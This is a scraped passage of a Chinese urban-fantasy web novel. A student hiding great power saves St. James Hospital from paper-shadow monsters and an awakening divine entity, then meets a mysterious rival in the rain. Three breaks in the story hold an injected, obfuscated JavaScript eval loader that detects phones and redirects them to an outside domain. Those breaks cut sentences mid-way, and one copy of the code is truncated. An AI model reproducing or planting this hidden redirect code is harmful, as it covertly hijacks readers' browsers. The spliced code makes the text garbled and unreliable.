据圣雅各医院院长给出的时间线判断,那些异常的发烧症状,正是从克莱登学院的学生被送来之后开始的。 最早发病的是七层、负责看顾它们的值班医生,而之后最先陷入昏迷的,依然是那批学生。 如果真有诡异生物作祟,很可能就是那个时候潜入了医院。通过学生,接触到了其他病人。 可他们当时明明检查过,确保已经杀死了游泳馆内的诡异生物,也没有检测到任何不正常的能量。 是转移学生们的路上又遇到了什么?还是那个诡异生物比他们想象中都更加棘手? 时家逸心思沉重,在看到转学生时,越发不满起来。 这个江秉烛,自己明明已经告诉过他前面有危险,让他好好在车里待着,还非要凑上来干什么? 是普通人能来的地方吗? 太拖他的后腿了! 时家逸冷硬地开口:“我已经提醒过你了,医院里可能会很危险,一旦有情况,我没有时间顾及你。现在你只有两个选择,要么立刻回车上,要么跟紧我,不许擅自行动。不然出了问题,我不会冒险救你。” 江秉烛:“好。” 回答得很快,态度相当好。 时家逸的烦躁稍微少了一些,抬腿往A班学生们的病房去。 七层的空气中弥漫着着淡淡的花香,还挺好闻的。 但时家逸并没有因为周围舒适的环境就放松下来,边走边摸出随身携带的探测仪器。 这是他们从诡异世界归来后,依靠异能与技术复制出的最精确的诡气探测设备,灵敏度极高,即使是极擅伪装的诡异生物,在它面前也往往无所遁形。 时家逸对这台仪器很有信心,相信它能找出在医院兴风作浪的罪魁祸首。他开启探测仪,紧紧盯着屏幕,异能也在掌心蓄起。 一秒、两秒…… 屏幕上的读数终于稳定下来。 0.2。 这是再正常不过的数值了,意味着七层并没有诡异生物。 就连一点诡异生物存在过的痕迹都没有。 可在现在的境况下,这太不对劲了。时家逸完全不敢相信。 难道是哪里出了问题? 他低头检查仪器,神色凝重。反复操作了几遍,结果依旧没有变化。 他心事重重地将目光转向身后的江秉烛。 “你来,照我说的,操作一遍。” 诡异探测仪对操作者的异能没有任何要求,只需借助生命的能量场释放出特定的能量波,就可以感知诡气的存在。 从原理上讲,哪怕操作者不是人类,而是小猫小狗,都没有问题。 当然,每个个体的能量场都是独一无二的,激发出的波也不会相同。不过这对诡气检测来说,不会造成太大的差别。 仪器的几次检测结果都相差不多,时家逸心里已经觉得,自己是查错了地方,只是谨慎为上,想要借江秉烛这个普通人的手再确认一次。 江秉烛依言操作仪器,特殊的波通过他的能量场激发出去,穿过医院七层。几秒后,同样的数字显示在屏幕上。 依旧是0.2。 这样看来,果然是自己判断错误了,时家逸叹了口气,当即准备前往下一个调查地点。 就在这时,他突然听到了“滴滴”两声电子音。 时家逸低头一看,只见探测仪屏幕猛然一抖,原本的数字瞬间被一片密集的雪花点所取代,红绿像素点疯狂地在屏幕上跳动着,最终组成了一个恐怖的数值。 ——5000! 时家逸倒吸一口凉气。 5000的诡气值,即使在诡异大陆,也意味着极为可怖、拥有压倒性力量的怪物。 这样的怪物,之前竟然一点也没被检测出来! 它究竟在这里隐藏了多久,又是为什么,突然选择在这个时候暴露自己的存在? 可惜,时家逸已经没有时间细想。 下一刻,整个七层开始晃动。 走廊顶部明亮的灯泡开始闪烁,承重墙发出不堪重负的“吱呀”声响,洁白的墙皮一片一片地剥落,像雪崩一样簌簌而下,短短几秒,瞬间将地面淹没。 可是晃动仍然没有停止。 碎裂的墙皮一层层堆叠在一起,最上方不断扭曲蠕动着,最后竟然形成了一个模糊的人型! 紧接着是第二个、第三个…… 墙皮堆砌的怪物像是复制粘贴一般,以肉眼可见的速度,一个接一个成型,越来越多,越来越密。 顷刻之间,整条走廊堆满了灰白墙皮砌成的怪物。 它们身体畸形、肢体僵硬,本该长着五官的地方,只有一片空白。 像是注意到谁在注视着它们一样,墙皮怪物齐刷刷转过头,用那张没有面孔的脸,“看”向前方。 时家逸头皮一阵发麻。 与此同时,他终于知道医院出现异常的原因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575305|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “纸影”,二级诡异生物。这种生物习惯潜藏在人类的住宅里,吸食他们的生命力。它们本身并不强大,攻击性也不高,要让人被吸到高烧,甚至昏迷的程度,往往需要十年,甚至十几年的时间。 因此,时家逸一开始根本没有往纸影身上想。 可他没有料到,医院里会潜伏了数量如此庞大的纸影! 更恐怖的是,在吸取的生命力达到一定程度后,纸影就会开始分裂,生成一个新的个体。以眼下出现在七层的纸影的基数,如果任由它们生长下去,别说医院了,整条街区的人都会被它们吸干生命力! “铛——”的一声,一支附魔弩箭飞了出去,击碎了前方的几个纸影。 但很快,后面的纸影就填补上了空缺,灰白的怪物脚步又快又急、不停地向前走。 它们的数量实在太多,碎了两个,立刻又有新的填补上来,源源不断、没有尽头似的。 身前身后全都是纸影,灰白的人形如潮水般涌来。眼见他们已无路可走,时家逸深吸一口气,猛地推开身侧的一扇病房门,飞速把江秉烛塞了进去。 面对数量众多的纸影,他的压力很大,根本没有办法顾及转学生的安危。 “你在里面待着!”时家逸语速极快,带着不容置疑的决绝,“不论发生什么,都不要出来!” 他根本没等里面人的回答,从怀里掏出一个装置,“咔哒”一声,在病房门上落了锁。 江秉烛:“……” 说真的,可以不用这么麻烦的。 他来医院,就是为了找送来这里的病人问话,话还没问到,他不会走的。 时家逸完全不知道江秉烛在想什么,他站在病房外,掌心能量涌动。 纸影大多数时候依附在墙壁上,很少以人型出现,但一旦它们选择了这种移动速度最快的形态,就意味着一件事——它们已经不满足当下环境所能提供的生命力,要到外界去,寻找更多猎物! 尽管时家逸对纸影现身的时机尚不清楚,但从它们急切到有些忙乱的前进脚步来看,这些纸影是要以最快的速度占领这条街区、甚至是整个第二城。 而他,是此时此刻唯一的防线。 时家逸心中涌上一种无法言喻的悲壮,但却并不曾退缩。因为他知道,这是作为异能者,无可避免的责任与宿命。 —— 病房内空间很大,江秉烛倚在窗边,打量着双目紧闭的年轻男生。 安森,克莱登学院12年级C班的学生,因为“游泳馆事件”陷入高烧。根据时间线和藏书鬼的证词,时空裂隙出现时,他刚好在场,是很可能看到金鱼的目击证人。 然而,现在还不是提问的时机。 由于被纸影吸食了太多生命力,珍贵的目击证人目前还处于昏迷状态。 但这并不是唯一的问题。 江秉烛收回目光,修长的手指轻轻敲了敲窗框。 失去生命力的人类有很多种方法可以唤醒,可这名学生,以及医院里其他的病人,缺失的不止是生命力。 他们的灵魂也被剥离了。 面对这些失去灵魂的躯壳,不动用权柄,很难问出有用的信息。 麻烦。 江秉烛颇为无语地叹了口气。 算了,好歹这几个人类的灵魂没有跑远,比他的金鱼好找一些。 他伸手将病房的窗户推开。 甜腻到呛人的花香味瞬间灌满房间。 如果有异能者在这里就能看到,圣雅各医院内,已然变成了另一番模样。 一道极尽绚丽的、烟花般璀璨的风旋从医院正中央的花园里拔地而起,风中裹挟着无数粉白的花瓣。每一片花瓣的表面,都印着半透明的痛苦的人脸。 花瓣上附着的灵魂竭力挣扎,却徒劳地被狂风绞在一起,然后一个接着一个,被投进下方一朵妖异的、由层层虚幻花瓣堆叠起的花。 那道诡异的风顺着打开的窗户席卷而过,病房里的仪器在风中剧烈摇晃,金属撞击声混杂着花瓣落地的“沙沙”声响,此起彼伏。 单薄的少年站在风口,衣服在狂风中翻飞。他束发的皮筋不知道什么时候散开了,黑色长发在那场花雨里肆意飘扬。 所有绚烂的花瓣,在碰到他的一瞬间,都迅速枯萎、焦黑,化作齑粉,然后随风而散。 江秉烛漫不经心地垂下眼,拂去手边那朵正在凋零的花。 “把他们的灵魂,还回来。” 8. 第 8 章 少年的声音很轻,像是声喟叹似的,刚一出口,便被吹散在风里了。 没人听见他说了什么,一片混乱中,也没有人在意他的存在。 但同一时间,圣雅各医院花园正下方的隐秘角落里,一名黑衣男子猛然抬头。 他脚下画着极尽古老而邪恶的魔法阵,粉白色的纹路如同有生命一般,从魔法阵中心,不断向外蔓延。它所经过的地方,草叶枯萎,花瓣凋零,生命力与人类的魂灵尽数被吸进阵法之中,掀起了席卷整个医院的风旋。 这一切的异样,原本都在黑衣男子的意料之中。 他们所要唤醒的,可是一位极为恐怖的存在。如果不是江亦宁少爷心思缜密、善于抓住机会,他们绝无可能用如此简易的方式,让这样的存在为己所用。 江秉烛那个所谓的江家“真少爷”,能死在这样强大的存在手中,倒也算是荣幸了。 只是……不同寻常的气息在风中震荡,黑衣男子紧盯着地面的魔法阵,百思不得其解。 这位存在苏醒的速度,为什么突然间比他们计算的,快了那么多? 外面明明什么也没发生啊? 黑衣男子着实不太明白。 可现在的情形,也不容许他细究这些小小的细节了。 圣雅各医院下方的恐怖将要苏醒,祂这样的存在,绝对不会在意究竟是谁唤醒了祂,更不会因此就对他网开一面。 再不走,自己也要折在这里了。 黑衣男子不敢久留,踏上一旁的传送阵,当即便要离开。 魔法阵的启动需要几十秒的时间,为了保险起见,他们在准备行动方案时,就将这点时间计算在内了,按理讲,是不会有任何问题的。 可他右眼皮突然跳了两下,莫名心慌的厉害。 几十秒转瞬即逝,就在传送阵将要开启的前一秒,世界忽然陷入一种诡异的安静。 黑衣男子惶惑地抬起头,看向上方—— 几把寒光凛冽的银色尖刀从天而降,深深刺入大地,在地面上割开一道道数米深的裂口! 刀锋所过之处,魔法阵中蔓延的粉色纹路被硬生生截成两段,原本肆虐的风旋戛然而止。 紧接着,一道微弱的光点在风旋正中心缓缓亮起。 像是被人按下了慢放按钮一样,黑衣男子觉得这一秒极其漫长。他眼睁睁看着那个光点一点点变亮、一点点膨胀,然后,像是一颗破晓的晨星般,骤然向四周爆开! “轰——” 风旋在刹那间分崩离析,里面裹挟着的、属于人类的、挣扎的灵魂,和被吸取来的生命力一起,向外逸散而去。 “这、这怎么可能……?”黑衣男子几乎不敢相信自己眼前看到的东西。 他们利用的魔法阵以人类生命与灵魂为祭,所要唤醒的,明明是一位深不可测、可以被尊称为神选者的诡异存在。 献祭一旦开始,就相当于与这位存在建立了契约。以祂的力量与位格,几乎不可能有任何外界因素能将其强行打断。 到底是什么人、什么存在,能在一击之间,逆转这一切! —— 七层病房里,江秉烛凭借良好的习惯,随手关上了窗。 他打了个响指,被风吹乱的物品回归原处,满地剥落的墙皮和头顶闪烁的灯管恢复如初。病房里的一切,都被和外面风雨飘摇的世界彻底隔绝。 躺在病床上的安森发出一阵含混的低吟,缓缓睁开了眼睛。 一名陌生的、苍白而清秀的少年站在床边,自上而下,安静地俯视着他。 他五官生得很好看,却并不带有攻击性,就连眼尾微微扬起的弧度也显得温柔平和,是学校里很常见的那种,不太惹人注目、沉默而惫懒的学生。 只是不知道为什么,看着少年的眼睛,安森心里总会升起一丝微妙的感觉。 他的眼睛黑白分明,形状漂亮,瞳仁的颜色却深得惊人,不太像是普通的黑,更像是某种颜色浓稠到极致后,凝成的暗色。 他是谁?这是……什么地方? “这是圣雅各医院,”面前的少年突然出声,语调松散,没什么起伏,“你因为高烧不退被送进来了,不过已经没事了,我叫江秉烛,克莱登学院A班新的转学生,有事要问你。” A班怎么又来转学生了……? 安森有些意外,但他脑子晕晕乎乎的,没办法思考,客套道:“谢谢你,同学,你想问什么事?” 江秉烛:“9月7号上午,你在游泳馆的时候,有没有见过几条金鱼?” 根据藏书鬼的信息,时空裂隙是在9月7号上午出现的,安森从当天下午开始发烧,几天不退后,在校方的建议下住进圣雅各医院检查。 距离事发时间已经过去有一阵了,江秉烛希望他还有印象。 安森“嘶”了一声:“你也知道那些金鱼?” 江秉烛的目光陡然一凝。 安森:“那天我确实见到了,有五六条,什么颜色的都有,尾巴很大、很漂亮。我还奇怪呢,泳池里怎么会有金鱼。” “那是我的金鱼,”江秉烛听完描述,如释重负地点了点头。 “因为一些意外,它们掉到了泳池里,不过我过去的时候,已经找不到了,你知道它们在哪吗?” “我觉得它们在泳池里不太安全,就捞出来了,”安森挠了挠头,“游泳馆外面不是有个湖吗?我看它们也不像外来物种,就放进去了。” 啊?不像外来物种吗? 江秉烛愣了一下,诡异地有点心虚。 没听见他的回答,安森下意识看了江秉烛一眼。 少年两道纤长的眉毛蹙起,微微垂眸望着地面,一派平静的脸上显露出一种淡淡的、落寞的表情。 安森心里一动。他想,这转学生刚来就进了A班那种全是贵族的地方,又这么安静文弱,看着就不好混。 现在连金鱼都没了,确实挺打击人的。 他叹了口气,说道:“才半个多月,鱼应该还在。我状态……比想象中好,应该没必要继续住院。我去问问医生,顺利的话,明天就可以陪你一起把金鱼找回来!” 江秉烛:“……” 你人还怪好的嘞! 安森说到做到,但刚从床上坐起来,肚子就发出一阵“咕咕”的响声。他尴尬地转头咳了一声,抬手按响请护士过来的铃,“我好久没正经吃饭了,这是人之常情……你不许笑话我。” 他说着,为了转移尴尬,又按了几下铃,可根本无人回应。 安森正要再按,就听见外面传来一阵“丁零当啷”、和物体撞击墙壁发出的声响。他有点意外,问转学生:“外面是什么声音?医院出事了吗?” 七层走廊的尽头,此时正打得天翻地覆,异能的光影和墙皮碎屑漫天飞舞,时家逸和纸影军团的战斗已经到了白热化阶段。 江秉烛敷衍道:“没有,他们在玩真人cs。” 安森:“?” 没等他再问,江秉烛已经站起身,把椅子推回原来的位置:“我出去买点吃的,鱼的事情我们回来再说。” 他说完,若无其事地拧开房门把手,走出那间早就被人锁死的病房。 —— 电梯已经被封死了,时家逸站在通向下方的楼梯口之前,死死挡住试图离开的纸影们,目光所及之处都是灰白色的怪物。 可这还不是全部。 他感受得到,就在圣雅各医院下方,一个蕴藏着恐怖力量的生物,正在缓缓苏醒! 在那个瞬间,所有零散的线索串在一起,拼凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575306|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了事件的真相。 诡异生物有自己的生存法则。为了生存,弱小的生物有时会选择依附于强者,而强大的存在则乐于借助这些不起眼的生物,达成自己的目的。 圣雅各医院下方的,就是一个极其强大的存在,甚至可能到达了神选者的层次。不知出于什么原因,祂的状态很差,不得不陷入沉眠。但出于某种契机,祂与弱小的纸影、或许还有些别的东西达成协议。 纸影借由神选者的帮助,为祂大量吸取人类的生命力。作为交换,祂为纸影提供庇护与隐蔽的生存环境。 这正是诡异探测仪最开始探查不出纸影存在的原因! 凭借异能者的敏锐感知,时家逸在战斗的同时,发现了医院下方的异样,还有突然被打断的能量传输。 但他却丝毫没有因此而放松——那种层次的存在能力诡谲,超乎想象,哪怕没有获得足够的能量,也很有可能直接苏醒。 比起面前的纸影,那个存在显然是更大的威胁。 必须先想办法,阻止祂的苏醒! 时家逸立刻打定主意,不再恋战,试图从纸影的包围中脱身。 出乎意料的是,纸影并没有追击。它们只是一味地向下、向前,对时家逸的取向视若无睹,好像只要他不挡在前方,它们就不会进行任何攻击似的。 好奇怪的行为模式,甚至……有点像在逃亡。 但这怎么可能呢?那么多纸影,加上一位神选者,整个第二城都找不出让它们害怕的存在。 时家逸隐隐觉得不对,感觉自己漏掉了什么信息。 可不等他琢磨出个所以然来,一股无法言语的冲击突然从脚下袭来。时家逸的大脑陷入一片空白,身体瞬间失去平衡。在席卷整个医院的气浪里,直接被甩到了墙上。 ——下面那个神选者,彻底苏醒了。 下一刻,甜腻得令人作呕的花香突兀地在医院中弥漫开来,香味浓烈得几乎凝成液体,从墙壁缝隙中、天花板上、地板中,源源不断地渗出来。 时家逸几乎是在第一时间闭上了眼睛,强迫自己屏住呼吸。他终于发现,医院里的香味,从一开始就不对劲! 那根本不是花香,而是来自诡异存在的污染! 时家逸感觉自己的身体在不住颤抖,体内的异能在和下方的神选者共鸣,以另一种形式,为祂提供能量。 而他对此束手无策。 可极度绝望之下,他却听见了神选者的声音——那是一道夹杂着怒意与怨愤的低语,使用的是一种非常神秘、在诡异世界都称得上古老的语言。 时家逸费力地分辨着其中的字眼,但他只是聆听,还没有提取出有用的信息,前额就传来一阵针扎似的刺痛,鲜血不断从耳中流出。 他听到了不该听的东西! 有些事物的存在本身,就是一种污染。仅仅只是听到、看到,都是一种禁忌。 时家逸猛地反应过来,根本不敢再分析刚才听到的内容,不停地在脑子里循环字母表,试图忘掉一切。他的背后冷汗淋淋,衣服紧紧贴着皮肉,比方才战斗时还要紧张好几倍。 他正要封闭自己的听觉,不去听那些可能蕴含了极大危险的话语时,一个敷衍的,兴致缺缺的声音忽然插了起来。 “嗯?你认得我?” 那道声音有点熟悉,时家逸却怎么也想不起来自己在什么地方听过,只是下意识等待着后文。 然而,不等神选者回应,那声音却又懒洋洋地接了一句:“你是个……什么东西来着?” 他听起来倒没什么挑衅的意思,更像是真切地在发问。可是真诚的态度并没有让这句话带来的效果有任何一丝好转。 话音落下,四野陷入死一般的寂静,紧接着,响起神选者声嘶力竭般的咆哮。 9. 第 9 章 第二城,东区。 黑色轿车疾驰于川流之中。 行车的空档,陆景明从后视镜里,带着几分好奇与试探,小心翼翼地觑着坐在副驾驶座的男人。 那人静静倚坐在车座,肩上披着一件裁剪得体的浅灰色双排扣风衣,风衣领口自然敞开,露出内里一套同色系的正装。他一只手搭在膝盖上,另一只手支着下颌,优雅而闲适地向窗外看去。 城市的霓虹夜色透过车窗,落在他深邃而精致的眉眼上,光影流转间,那一头金发被映出灿烂而柔和的光泽。 察觉到陆景明的目光,那人缓缓转过头,露出一个温润而浅淡的微笑:“怎么了?” “周顾问,”陆景明愣了愣,才回过神来,非常焦虑地望着远方,“圣雅各医院那边的异动更大了,我能感觉得出来,那里有一个存在正在不断复苏,速度非常快!我们过去还要一段时间,祂万一完全苏醒了……该死的!” “没关系的,”周夜阑温和地接过了话,“不论发生什么,我会都处理好那个怪物。” 他语速平缓,却仿佛带着某种特别的腔调,即使短短几个字,竟莫名让人安心了下来。 不过,这也没什么好奇怪的。毕竟,说话的人是周夜阑,一位来历神秘、实力超群,年纪轻轻就被所有京城世家奉为座上宾的人。 陆景明是京城陆家的小少爷,脾气冲得像炮仗。他自己是异能世家出身,素来最看不惯那些神神叨叨,拿着异能装神弄鬼的家伙。和周夜阑相关的传言一个比一个离谱,在他眼里,这位周顾问几乎是踩中所有雷点的存在,不知在私底下吐槽了多少次。 直到这一次,他跟着周夜阑进入外城区处理诡异事件。 不到一个月的时间,陆小少爷就把之前的所有嘲笑吞了回去,对周顾问的实力,再也没有半分质疑,甚至心甘情愿给他当上了司机。 如果周顾问说没有关系,那么不管那个怪物有多么强大,都一定可以被他完美解决。 只是…… 陆景明说出了自己的顾虑:“出事的地点是医院,人流量很大,附近还有一所学校。那可都是病人和学生,可能……撑不到我们过去的时候了。” 周夜阑轻声应了句:“是吗?” “那也是没办法的事了。” 他抬起手,在胸前比了一个十分复杂的手势。窗外的灯光正好扫过他的侧脸,他的眉目沉静,姿态庄严,像一个温柔而虔诚的信徒。 “愿他们在神的国度安眠,我会为他们送上挽歌的。” 连周顾问都这样说……难道真的没有办法了吗? 陆景明心情十分沉痛,他知道周顾问非常厉害,可人类异能的施展范围都是有限度的,他们现在与事发地点相隔大半座城,受客观条件限制,他实在不好再向这位顾问要求什么,只能把车开快一点、再快一点,然后祈祷一切还来得及。 然而,在他看不见的地方,周夜阑望着医院的方向,嘴角竟然缓缓勾起。 笑容的弧度完美,挑不出一点错处。 —— 圣雅各医院七层,神选者震耳欲聋的咆哮中,江秉烛轻轻揉了揉太阳穴。 ……这真的很吵哎。 尽管处在不同的位面上,但在时空裂隙出现之前,诡异世界就可以和其它世界互相连通。他知道这件事,对神选者出现在医院下方并不算太意外。 让他不太明白的,是这家伙语气里的怨恨。 他思索了一圈,也没记起来自己在什么地方遇见过这样的家伙。 不过这不要紧。 他还等着和安森回学校,去找他的鱼呢。 江秉烛半眯起眼睛,正要动手,却感觉脚下的影子传来一些不正常的躁动。 人类世界异能稀薄,比较之下,这个神选者身上的诡气已经算得上浓厚,他的影子被闷了太久,这时候又活跃了起来。 它们激动起来,对这个世界可不是什么好事。 江秉烛低下头,看着脚下,无奈地说:“乖一点,不许偷跑出来。” 别在他马上就要成功的时候,把鱼给搞死了。 他话音刚落,耳边猛然响起一阵破空之声。 在江秉烛教训影子的时候,地底的神选者将自己积攒的所有能量化为攻击,对眼前的“少年”发出了致命一击! 无数飞花化作利刃,速度快得像是要割开这片空间。附着在花瓣上的,早已不再是人类的灵魂,而是普通异能者看一眼就会被污染的、阴毒的诅咒。 到了神选者阶段的存在,已经拥有了撬动世界规则的力量。在祂的全力一击之下,任何一片花瓣只要落到对手的身上,都会让对方陷入极大的痛苦,甚至连灵魂也不能幸免于难。 可就在触碰到江秉烛皮肤的前一瞬,那场声势浩大、让人防不胜防的花雨忽然停了。 不是被拦住,也不是被击碎。 而是……被点燃了。 一缕炽金色的火苗无声无息地出现在每一片花瓣之中。 那火焰仿佛没有温度一样,毫无征兆地凭空出现了。可它所触及的一切,都在顷刻间被火焰吞噬殆尽。 漫天花雨消失不见,连带着甜腻的花香味也了无踪影,只剩下一地灰烬,被夜风轻轻扬起。 七层走廊安静得可怕。 圣雅各医院下方,那朵绚烂得不真实的花在同一时间被烧成灰烬。 祂甚至没有作出任何挣扎,只来得及留下一句未尽的诅咒。 “我没有认错……你这个杀害吾主的、卑鄙的篡夺者!众神必不认可你的存在,你、和与你为伍的那个人,必将遭受神罚!” 江秉烛挑了下眉。 这话要是早几年说,高低也算个预言家。 可惜,说晚了。 江秉烛又回忆了一下,除了知道这个神选者应该很早之前就从诡异世界跑路了以外,还是没想起来祂侍奉的“神”是哪个,祂又到底是谁。 算了。 记忆本来就是冗余的东西,他偶尔会整理一下,删除掉那些时日久远的、多思无用的内容。 他不记得的东西,想来无关紧要。 江秉烛没在走廊上停留太久,越过一众瑟瑟发抖,恨不得重新贴回墙上当墙皮的纸影,迫不及待地走回病房。 明天就可以看到他的鱼了! —— 江秉烛心情愉悦,其他人却远没有他这么轻松。 几层之下,成功从住院楼里逃出来的江家管家蹲在一处隐蔽的草丛里,异能化作一柄柄银色尖刀,环绕在他身侧。 在看到那些源源不断的纸影大军、又感受到下方强大存在苏醒的气息时,管家差点儿以为自己要完蛋了,一味只顾着逃跑,直到刚刚,才发现它们行为的异常。 ——纸影根本不是在攻击,它们刚才的样子,分明也是在逃跑! 而且,还是在逃避比那个神选者还要恐怖的东西! 管家一边喘着气,一边带着憧憬抬起头。 他感受到了。 那道和自己异能相似、却又强大了不知多少倍的气息,再一次出现在他的附近。就是那一位,在他早上遇到奇怪的诡异生物时出手相救,又在今晚,轻松解决了潜藏在医院里的神选者。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575307|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一个名字悄然浮现在管家心里——希格尔德。 那个连脸都没有露过,就让全京城高手趋之若鹜的存在。 他竟然出现在了第二城,而且救了自己两次! 这一定不是巧合,管家激动地想,瞬间就找到了许多理由。或许,正是因为自己的异能与希格尔德非常相似,对方有了一些兴趣,所以在暗中观察自己? 如果这样的话,是不是意味着,他真的有可能得到希格尔德的教导,突破自己蹉跎了很久的阶段,成为第六级、甚至更高级别的异能者? 到那时,他就不再只是江家的管家,需要到第二城这种荒僻的地方看管江秉烛那个没用的真少爷,而是会成为整个京城都不得不重视的高手。 管家自认为,他早就过了爱幻想的年纪。可是这个从逻辑上来讲非常合理的未来,依然让他充满希望。 他理了理凌乱的衣襟,从草丛里直起身来,吩咐人来接自己。 圣雅各医院因为刚刚的变故,已经不再适合居住,他决定换一家医院休养。至于那些还在住院楼里的纸影,或者这场诡异生物导致的事件该怎么收场,那是普通人才要操心的事情,和他可没有一点关系。 管家走出医院时,周围已经乱成一团,交通也给围得水泄不通。他对普通人的慌乱嗤之以鼻,唯一值得注意的,大概就是这条街的尽头,停了一辆黑色的轿车。 夜色太深,又离得太远,他没看清细节,不过从车身的轮廓判断起来,这应该是辆不可多得的豪车。 甚至有点像为京城权贵特别定制的款式。 不过京城的人,一般不会到第二城来,自己大概是看走眼了。 管家没再关注,一边措辞向江家家主汇报今天的事情,一边想着怎么才能和希格尔德搭上线。 长街尽头,黑色轿车在昏黄路灯下行驶。 驾驶座上,陆景明的脸上满是难以置信的震撼:“刚才那种强度的诡异生物突然就没有气息了!谁能做到这种程度?难道……是希格尔德?” “那人可不是善茬。到了神选者层次的生物,就算被当场杀死,也能留下复生的手段。京城王家和一直那只火鸟有契约,可当他们试图寻找复生信物时,连根毛都没找到!” 陆景明说着,都有些不寒而栗。 在秒杀诡异生物后,要连他们的复生信物也一并带走或摧毁,说明这个人对神选者级别的诡异生物极为熟悉,知道怎么才能彻底将祂们杀死。 更说明他做事谨慎、手段狠辣、斩草除根。 “希格尔德?”周夜阑缓慢重复了一遍这四个字,半晌后,意味不明地笑出声。 他既没有回答陆景明的问题,也没有继续讨论希格尔德,说:“停车,我下去看看。” 陆景明连忙靠边停车。 只是在周夜阑拉开车门前,他看着男人手里的黑色长柄伞,忍不住提醒道:“周顾问,今天没有雨,你带伞干什么啊?” 这一次,周夜阑依旧没有回答,视线不知何时,已经落在车窗外的某个地方。 第二城东区有些历史。早在圣雅各医院修建前,旁边就已经有一排砖墙斑驳的老建筑。出于种种原因,它们一直没有被拆除,而是保留了下来,和极具现代气息的医院比邻而居。 只隔着一条街,两边的风景却截然不同。 轿车几十米之外,昏黄的灯光与路边小吃店的炫彩灯牌下,有一名少年静静地站着。 他穿着一身整洁的学生制服,鸦羽似的长发未束,在空中轻轻飘荡。 和周夜阑一样,他的手中,握着一把黑色的长柄伞。 10. 第 10 章 从圣雅各医院出来,江秉烛走到了邻街的大排档前。 晚上八九点,正是大排档生意最火爆的时候,一盘盘鲜香酥脆的炸物摆在档口。医院的变故发生得太突然,大部分人都没反应过来,小吃也依然摆在摊位上没撤。 江秉烛鼻尖动了动,他心心念念的香酥小黄鱼味道依旧,丝毫没有被之前的呛人花粉味影响。 好事。 这时候,大排档的老板和食客们也终于回神,望着尘土飞扬的圣雅各医院,纷纷开始八卦。 “刚刚那动静真大,吓死人了!不会真像他们说得,医院里面在闹鬼吧!” “哪儿来的那么多鬼故事,”另一人说着,抬手一指江秉烛,“这儿还有好端端的学生从里面出来呢,他总不可能,就是你们说的怪物吧!” 周围立刻爆发一阵打趣的声音。 老板匆匆赶到摊位前,对着江秉烛不好意思地笑笑:“这帮家伙,嘴上没个把门儿的。同学,你别往心里去。” 倒没什么好道歉的,江秉烛没计较,直接开始点菜。 “一碗白粥,一碗海鲜粥,两斤油炸小黄鱼,带走。” 老板麻利地装好吃的,正要把包装盒递给江秉烛,才发现他一只手中,正拿着把不知用来干什么的黑色长柄伞。 他嘴角微微抽了抽:现在的年轻人真是,怎么一个个都跟动漫里出来的中二男主似的。 但他还没来得及调侃,面前的少年忽然抬起头,望着天边,语气平淡:“要下雨了。” 老板动作一怔——今天一天都天气很好,即使到晚上也舒适得很,他们头顶连片云都没有,哪来的雨呢? 他刚想说些什么,耳畔忽然传来“唰”的一声,大雨毫无预兆地倾泻而下。 瓢泼的雨水瞬间打湿了档口前的桌椅,食客们一阵慌乱,纷纷冲进店里避雨。老板下意识护住自己摊位上的吃的,却不由自主地看向江秉烛。 那少年站在原地,正伸手去拿那两个打包袋,伞还没来得及撑。 可他居然一滴雨都没淋到。 在他身后,另一把黑色的伞悄然撑开。 伞骨细长,伞面漆黑,那把伞向少年的方向微微倾斜着,将他从头到脚、严丝合缝地罩在伞下。 雨丝如瀑,雨水打下来,顺着伞面的边缘滑落,在地面激起一圈一圈水花。 江秉烛付完钱,拿着打包袋转过身,映入眼帘的,是一头在雨夜中格外显眼的灿烂金发。 来人单手撑着伞,却半个身子都在伞外。雨水划过他的肩膀,打湿那件考究的浅灰色风衣。他却毫不在意,反而对少年微微一笑。 笑容得体、优雅、绅士得挑不出一点错处。 江秉烛眉头微不可察地皱了一下。 伞下空间不大,两个人站在下面,原本的社交距离就岌岌可危。他一转身,双方面对面站着,便更显得逼仄了。 那人朝他伸出一只手,体贴道:“我姓周,周夜阑。初次见面,方便认识一下吗?” 江秉烛不动声色地推开他的手。 身侧大雨倾盆,夏日残余的最后一一丝燥热被冲刷得一干二净。 伞下,他们手指一触即分,却有比雨水更冷、冷到不该出现在人类身上的温度顺着彼此肌肤相接的地方传来。 “真遗憾,”江秉烛缓缓说着,抬眼看向周夜阑,“我没有兴趣认识陌生人。” 他加重了句尾的最后几个字。 “好吧,”周夜阑彬彬有礼地说,“同学,后会有期。” 江秉烛没再理他,撑开自己手中的伞,提着几份夜宵,转身走入雨中。 另一边,陆景明拎着临时掏出来的伞,匆忙追了过来。 